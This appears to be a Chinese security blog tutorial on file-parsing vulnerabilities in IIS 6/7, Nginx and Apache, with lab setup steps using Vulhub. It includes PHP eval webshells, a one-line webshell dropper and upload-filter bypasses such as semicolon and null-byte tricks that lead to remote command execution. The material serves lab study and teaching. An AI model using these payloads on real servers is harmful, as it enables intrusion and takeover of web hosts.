当前位置: 首页 > news >正文

中间件解析漏洞(附环境搭建教程)

⼀:IIS解析漏洞

环境资源:

https://download.csdn.net/download/Nai_zui_jiang/89717504

环境安装

windows2003+iis6
1.创建新的虚拟机
2.在下⼀步中选择我们的iso⽂件镜像 vm已主动识别到windows2003
3.产品密钥⽹上搜⼀个 密码自己设置一个简单的,这里我用的是root
4.后⾯⼀直下⼀步 ⾃动安装
5.等待⼏分钟即可安装成功
6.接下来安装iis 控制⾯板--添加或删除程序---添加/删除windows组件
7.安装完成后web服务扩展全部打开
8.⽹站路径默认为 c:/inetpub/wwwroot

1.1:IIS6.X

⽬录解析

在iis6.x中,.asp⽂件夹中的任意⽂件都会被当做asp⽂件去执⾏。
1.在iis的⽹站根⽬录新建⼀个名为x.asp的⽂件
2.在x.asp中新建⼀个jpg⽂件。内容为<%=now()%> asp代码。
在外部浏览器访问虚拟机 iis⽹站中的1.jpg 发现asp代码被执⾏
将1.jpg⽂件放到⽹站根⽬录下访问,发现其中的asp代码没有被解析。 由此可⻅.asp⽂件夹中的任意 ⽂件会被当做asp⽂件去执⾏

畸形⽂件解析

        在IIS 6 处理⽂件解析时, 分号可以起到截断的效果。也就是说 shell.asp;.jpg会被服务器看成是 shell.asp。另外IIS6.0默认的可执⾏⽂件除了asp还包含 asa\cer\cdx

1.2:IIS7.X

在IIS7.0和IIS7.5版本下也存在解析漏洞,在默认Fast-CGI开启状况下,在⼀个⽂件路径/xx.jpg
后⾯加上/xx.php会将 /xx.jpg/xx.php 解析为 php ⽂件

利⽤条件:

1. php.ini⾥的cgi.fix_pathinfo=1 开启
2. IIS7在Fast-CGI运⾏模式下

环境配置

在本机安装IIS后在安装PHPstudy for IIS
步骤⼆:配置 php.ini ⽂件,将 cgi.fix_pathinfo=1 取消掉...并重启....

步骤三:IIS -> 配置⽹站 -> 处理程序映射 -> PHPStudy_FastCGI -> 请求限制 ->取消勾选

利用姿势

直接进行访问不会进行php解析

在url后面加上 .php 后jpg内的php语句被解析出来

GetShell

步骤⼀:将PHP⼀句话⽊⻢写到shell.php并更改后缀为shell.jpg上传到⽬标站点...利⽤解析漏洞进⾏访问
http://localhost/shell.jpg/.php
然后复制url使用菜刀进行连接

⼆:Nginx解析漏洞

2.1:nginx_parsing

这个解析漏洞其实是PHP CGI的漏洞,在PHP的配置⽂件中有⼀个关键的选项cgi.fix_pathinfo默认是开 启的,当URL中有不存在的⽂件,PHP就会向前递归解析。在⼀个⽂件/xx.jpg后⾯加上/.php会将 /x x.jpg/xx.php 解析为 php ⽂件。

利用条件

Nginx <=0.8.37
cgi.fix_pathinfo=1

利用姿势

Nginx的⽂件解析漏洞...和IIS7.0的解析漏洞同样的原理,因为 cgi.fix_pathinfo=1 造成的解析漏洞
同样使⽤ 1.jpg/.php ⽅式进⾏绕过
步骤⼀:进⼊以下Vulhub路径并开启容器
cd /nginx/nginx_parsing_vulnerability
docker-compose build
docker-compose up -d
docker ps -a
步骤⼆:浏览器中访问⽹站
步骤三:制作图⽚⻢并进⾏上传...获取上传⽂件地址
步骤四:访问以下路径,利⽤Nginx解析漏洞

2.2:CVE-2013-4547

此漏洞为⽂件名逻辑漏洞,该漏洞在上传图⽚时,修改其16进制编码可使其绕过策略,导致解析为
php。 当Nginx得到⼀个⽤户请求时,⾸先对url进⾏解析,进⾏正则匹配,如果匹配到以.php后缀结尾的⽂件名,会将请求的PHP⽂件交给PHP-CGI去解析。

影响版本

Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7

利⽤姿势

步骤⼀:使⽤以下命令启动靶机并通过浏览器访问靶场⻚⾯
# 启动靶场
cd vulhub-master/nginx/CVE-2013-4547x // 切换到靶机⽬录
docker-compose build // 创建环境
docker-compose up -d // 打开环境
# 靶场⻚⾯
http://172.16.1.30:8080/
#shell.php
<?php @eval($_POST['cmd']);?>

步骤⼆:直接上传 shell.php 被拦截...修改⽂件后缀为.jpg进⾏上传且在后⾯添加空格;上传成功

步骤三:在.jpg后⾯添加两个空格并给上 .php 后缀,在16进制修改中将原本两个空格的
0x20 0x20 修改为如下即 0x20 0x00 进⾏发包
步骤四:访问上传后的⽂件....由于url会将其编码,需要继续抓包修改 0x20 0x20 为 0x20 0x00
http://172.16.1.30:8080/uploadfiles/shell.jpg .php
由于⽊⻢地址编码问题,⼯具连不到 可以使⽤以下的php代码输出⼀句话⽊⻢到当前⽬录
<?php fputs(fopen( "shell.php","w" ), '<?php eval($_POST["cmd"]);?>' )?>

三:Apache解析漏洞

在Apache1.x/2.x中Apache 解析⽂件的规则是从右到左开始判断解析,如果后缀名为不可识别⽂件解析, 就再往左判断。如 1.php.xxxxx

3.1:apache_parsing

漏洞原理

Apache HTTPD ⽀持⼀个⽂件拥有多个后缀,并为不同后缀执⾏不同的指令。⽐如如下配置⽂件

AddType text/html .html
AddLanguage zh-CN .cn
其给 .html 后缀增加了 media-type ,值为 text/html ;给 .cn 后缀增加了语⾔,值为 zh-C N 。此时,如果⽤户请求⽂件 index.cn.html ,他将返回⼀个中⽂的html⻚⾯。以上就是Apache多 后缀的特性。如果运维⼈员给 .php 后缀增加了处理器
AddHandler application/x-httpd-php .php
那么,在有多个后缀的情况下,只要⼀个⽂件含有 .php 后缀的⽂件即将被识别成PHP⽂件,没必要是最后⼀个后缀。利⽤这个特性,将会造成⼀个可以绕过上传⽩名单的解析漏洞

利⽤姿势

步骤⼀:进⼊Vulhub靶场并执⾏以下命令启动靶场
cd /vulhub/httpd/apache_parsing_vulnerability
docker-compose up -d
docker ps -a

步骤⼆:访问靶机并上传 shell.php.jpg ⽂件,⽂件内容为

<?php fputs(fopen("shell.php","w"),'<?php eval($_POST["cmd"]);?>')?>

 步骤三:上传成功后与⽹站进⾏路径拼接...如下

http://172.16.1.30/uploadfiles/shell.php.jpg

 步骤四:访问⽣成的shell.php并执⾏命令,执⾏成功。

3.2:CVE-2017-15715

Apache HTTPD是⼀款HTTP服务器,它可以通过mod_php来运⾏PHP⽹⻚。其2.4.0~2.4.29版本中存在⼀个解析漏洞,在解析PHP时,1.php\x0A将被按照PHP后缀进⾏解析,导致绕过⼀些服务器安全策略。

影响版本

2.4.0~2.4.29

利⽤姿势

进⼊Vulhub靶场并开启⽬标靶机

cd/Vulnhub/httpd/CVE-2017-15715

docker-compose up -d
尝试发送一句话木马发现被拦截
在evil.php⽂件后⾯添加空格 0x20 在改为 0x0a 再次返送即可上传成功
访问上传的evil⽂件在后⾯加上 %0a 再访问发现解析了其中的PHP代码,但后缀不是php说明
存在解析漏洞
http://172.16.1.30:8080/evil.php%0a

相关文章:

中间件解析漏洞(附环境搭建教程)

⼀&#xff1a;IIS解析漏洞 环境资源&#xff1a; https://download.csdn.net/download/Nai_zui_jiang/89717504 环境安装 windows2003iis6 1.创建新的虚拟机 2.在下⼀步中选择我们的iso⽂件镜像 vm已主动识别到windows2003 3.产品密钥⽹上搜⼀个 密码自己设置一个简单的&…...

matlab实现kaiser窗+时域采样序列(不管原信号拉伸成什么样子)是一样的,变到频谱后再采样就是一样的频域序列。

下图窗2的频谱在周期化的时候应该是2&#xff08;w-k*pi/T&#xff09;我直接对2w减得写错了 可见这两个kaiser窗频谱不一样&#xff0c;采样间隔为2T的窗&#xff0c;频谱压缩2倍&#xff0c;且以原采样频率的一半周期化。 但是这两个不同的kaiser窗在频域采样点的值使完全一…...

git为不同的项目设置不同的提交作者

方法1&#xff1a;找到项目的.git文件夹打开 打开config在下面添加自己作者信息 [user]name 作者名email 邮箱方法2&#xff1a;直接在.git文件夹设置作者名&#xff08;不使用–global参数&#xff09; git config user.name "xxxxx"如果想要修改之前提交的…...

防爆定位信标与防爆定位基站有什么区别?

新锐科技 https://baijiahao.baidu.com/s?id1804974957959442238&wfrspider&forpc http://www.xinruikc.cn/biaoqian/52.html http://www.xinruikc.cn/xinbiao/...

QT 编译报错:C3861: ‘tr‘ identifier not found

问题&#xff1a; QT 编译报错&#xff1a;C3861&#xff1a; ‘tr’ identifier not found 原因 使用tr的地方所在的类没有继承自 QObject 类 或者在不在某一类中&#xff0c; 解决方案 就直接用类名引用 &#xff1a;QObject::tr( )...

谈谈ES搜索引擎

一 ES的定义 ES 它的全称是 Elasticsearch&#xff0c;是一个建立在全文搜索引擎库Lucene基础上的一个开源搜索和分析引擎。ES 它本身具备分布式存储&#xff0c;检索速度快的特性&#xff0c;所以我们经常用它来实现全文检索功能。目前在 Elastic 官网对 ES 的定义&#xff0c…...

【MySQL】MySQL基础

目录 什么是数据库主流数据库基本使用MySQL的安装连接服务器服务器、数据库、表关系使用案例数据逻辑存储 MySQL的架构SQL分类什么是存储引擎 什么是数据库 mysql它是数据库服务的客户端mysqld它是数据库服务的服务器端mysql本质&#xff1a;基于C&#xff08;mysql&#xff09…...

Spring中Bean的相关注解

目录 1.Spring IoC&DI 2.关于Bean存储的相关注解(类注解与方法注解) Bean的获取方式 类注解和方法注解的重命名 2.1 类注解 2.1.1 Controller 2.1.2 Service 2.1.3 Repository 2.1.4 Component 2.1.5 Configuration 2.2 方法注解-Bean 2.2.1 定义多个对象 2.2…...

Golang | Leetcode Golang题解之第385题迷你语法分析器

题目&#xff1a; 题解&#xff1a; func deserialize(s string) *NestedInteger {if s[0] ! [ {num, _ : strconv.Atoi(s)ni : &NestedInteger{}ni.SetInteger(num)return ni}stack, num, negative : []*NestedInteger{}, 0, falsefor i, ch : range s {if ch - {negati…...

【Java 优选算法】双指针(上)

欢迎关注个人主页&#xff1a;逸狼 创造不易&#xff0c;可以点点赞吗~ 如有错误&#xff0c;欢迎指出~ 目录 移动零 分析 代码 复写零 分析 代码 快乐数 分析 代码 盛最多水的容器 分析 代码 移动零 题目链接 分析 双指针算法,利用两个指针cur和dest将数组划分为三个区间…...

【自动驾驶】控制算法(八)横向控制Ⅰ | 算法与流程

写在前面&#xff1a; &#x1f31f; 欢迎光临 清流君 的博客小天地&#xff0c;这里是我分享技术与心得的温馨角落。&#x1f4dd; 个人主页&#xff1a;清流君_CSDN博客&#xff0c;期待与您一同探索 移动机器人 领域的无限可能。 &#x1f50d; 本文系 清流君 原创之作&…...

Android SSE 单向接收数据

Server-Sent Events&#xff08;SSE&#xff09;是一种在客户端和服务器之间实现单向实时通信的技术。它允许服务器向客户端推送数据&#xff0c;但客户端无法使用 SSE 向服务器发送数据。这使得其适用于需要持续接收服务器数据的应用场景&#xff08;如实时通知、股票行情、社…...

排序《数据结构》

排序 《数据结构》 1.排序的概念及其运用1.1 排序的概念1.2 排序运用1.3常见的排序算法1.4 排序动图演示 2.常见排序算法的实现2.1 插入排序2.2希尔排序2.3 快排左边做keyi&#xff0c;右边先走&#xff0c;可以保证相遇位置比keyi小 2.4 快速排序优化快排&#xff08;非递归&a…...

flutter 提示框2 Dialog

flutter 提示框 写在点击的方法体中 child里放自己喜欢的 showDialog( context: context, builder: (BuildContext context) { final Dialog alertDialog Dialog( backgroundColor: Colors.transparent,shadowColor:Colors.transparent,child: Container(height: mediawi…...

如何选择SDR无线图传方案

在开源软件定义无线电&#xff08;SDR&#xff09;领域&#xff0c;有几个项目提供了无线图传的解决方案。以下是一些开源SDR无线图传方案&#xff1a; 1. **OpenHD**&#xff1a;这是一个远程高清数字图像传输的开源解决方案&#xff0c;它使用SDR技术来实现高清视频的无线传…...

关于Python类中方法__init__()解析

# import numpy as npclass Car():def __init__(self, maker, name, year):self.maker makerself.name nameself.year yearprint(self.searchMakrt() "123")def searchMakrt(self):print("汽车制作厂家为&#xff1a; " self.maker)# passreturn &quo…...

微信小程序 自定义组件

1. 微信小程序 自定义组件 微信小程序支持组件化开发&#xff0c;这有助于我们复用代码&#xff0c;提高开发效率。下面我将给出一个简单的微信小程序组件化示例&#xff0c;包括一个自定义组件的创建和使用。 1.1. 创建自定义组件 首先&#xff0c;在项目的 components 目录…...

Mac+Pycharm配置PyQt6教程

安装包 pip install PyQt6 PyQt6-tools #查看Qt版本 pip show PyQt6 pip show pyqt6-tools 配置扩展工具 QTD(界面设计) Program&#xff1a;/Users/wan/PycharmProjects/NewDemo/venv/lib/python3.11/site-packages/qt6_applications/Qt/bin/Designer.app Working directo…...

如何保证Redis与Mysql双写一致性?

https://www.cnblogs.com/coderacademy/p/18137480 延迟双删 对于上面链接的文章&#xff0c;里面的延迟双删没有给出具体的例子&#xff0c;也没有直接指出具体解决的问题是针对那种缓存策略&#xff0c;这里补充一下&#xff0c;延时双删缓存针对的是Cache aside pattern(缓…...

9.8笔试记录

1.在c中哪些运算符不能重载? 在 C 中&#xff0c;有以下几个运算符不能被重载&#xff1a; . &#xff1a;成员访问运算符。例如obj.member中的.不能被重载。 :: &#xff1a;作用域解析运算符。用于指定命名空间、类等的作用域&#xff0c;不能被重载。 ?: &#xff1…...

[2025CVPR]DeepVideo-R1:基于难度感知回归GRPO的视频强化微调框架详解

突破视频大语言模型推理瓶颈,在多个视频基准上实现SOTA性能 一、核心问题与创新亮点 1.1 GRPO在视频任务中的两大挑战 ​安全措施依赖问题​ GRPO使用min和clip函数限制策略更新幅度,导致: 梯度抑制:当新旧策略差异过大时梯度消失收敛困难:策略无法充分优化# 传统GRPO的梯…...

XCTF-web-easyupload

试了试php&#xff0c;php7&#xff0c;pht&#xff0c;phtml等&#xff0c;都没有用 尝试.user.ini 抓包修改将.user.ini修改为jpg图片 在上传一个123.jpg 用蚁剑连接&#xff0c;得到flag...

React 第五十五节 Router 中 useAsyncError的使用详解

前言 useAsyncError 是 React Router v6.4 引入的一个钩子&#xff0c;用于处理异步操作&#xff08;如数据加载&#xff09;中的错误。下面我将详细解释其用途并提供代码示例。 一、useAsyncError 用途 处理异步错误&#xff1a;捕获在 loader 或 action 中发生的异步错误替…...

手游刚开服就被攻击怎么办?如何防御DDoS?

开服初期是手游最脆弱的阶段&#xff0c;极易成为DDoS攻击的目标。一旦遭遇攻击&#xff0c;可能导致服务器瘫痪、玩家流失&#xff0c;甚至造成巨大经济损失。本文为开发者提供一套简洁有效的应急与防御方案&#xff0c;帮助快速应对并构建长期防护体系。 一、遭遇攻击的紧急应…...

Linux 文件类型,目录与路径,文件与目录管理

文件类型 后面的字符表示文件类型标志 普通文件&#xff1a;-&#xff08;纯文本文件&#xff0c;二进制文件&#xff0c;数据格式文件&#xff09; 如文本文件、图片、程序文件等。 目录文件&#xff1a;d&#xff08;directory&#xff09; 用来存放其他文件或子目录。 设备…...

AI Agent与Agentic AI:原理、应用、挑战与未来展望

文章目录 一、引言二、AI Agent与Agentic AI的兴起2.1 技术契机与生态成熟2.2 Agent的定义与特征2.3 Agent的发展历程 三、AI Agent的核心技术栈解密3.1 感知模块代码示例&#xff1a;使用Python和OpenCV进行图像识别 3.2 认知与决策模块代码示例&#xff1a;使用OpenAI GPT-3进…...

Qwen3-Embedding-0.6B深度解析:多语言语义检索的轻量级利器

第一章 引言&#xff1a;语义表示的新时代挑战与Qwen3的破局之路 1.1 文本嵌入的核心价值与技术演进 在人工智能领域&#xff0c;文本嵌入技术如同连接自然语言与机器理解的“神经突触”——它将人类语言转化为计算机可计算的语义向量&#xff0c;支撑着搜索引擎、推荐系统、…...

相机Camera日志分析之三十一:高通Camx HAL十种流程基础分析关键字汇总(后续持续更新中)

【关注我,后续持续新增专题博文,谢谢!!!】 上一篇我们讲了:有对最普通的场景进行各个日志注释讲解,但相机场景太多,日志差异也巨大。后面将展示各种场景下的日志。 通过notepad++打开场景下的日志,通过下列分类关键字搜索,即可清晰的分析不同场景的相机运行流程差异…...

Python如何给视频添加音频和字幕

在Python中&#xff0c;给视频添加音频和字幕可以使用电影文件处理库MoviePy和字幕处理库Subtitles。下面将详细介绍如何使用这些库来实现视频的音频和字幕添加&#xff0c;包括必要的代码示例和详细解释。 环境准备 在开始之前&#xff0c;需要安装以下Python库&#xff1a;…...

【RockeMQ】第2节|RocketMQ快速实战以及核⼼概念详解(二)

升级Dledger高可用集群 一、主从架构的不足与Dledger的定位 主从架构缺陷 数据备份依赖Slave节点&#xff0c;但无自动故障转移能力&#xff0c;Master宕机后需人工切换&#xff0c;期间消息可能无法读取。Slave仅存储数据&#xff0c;无法主动升级为Master响应请求&#xff…...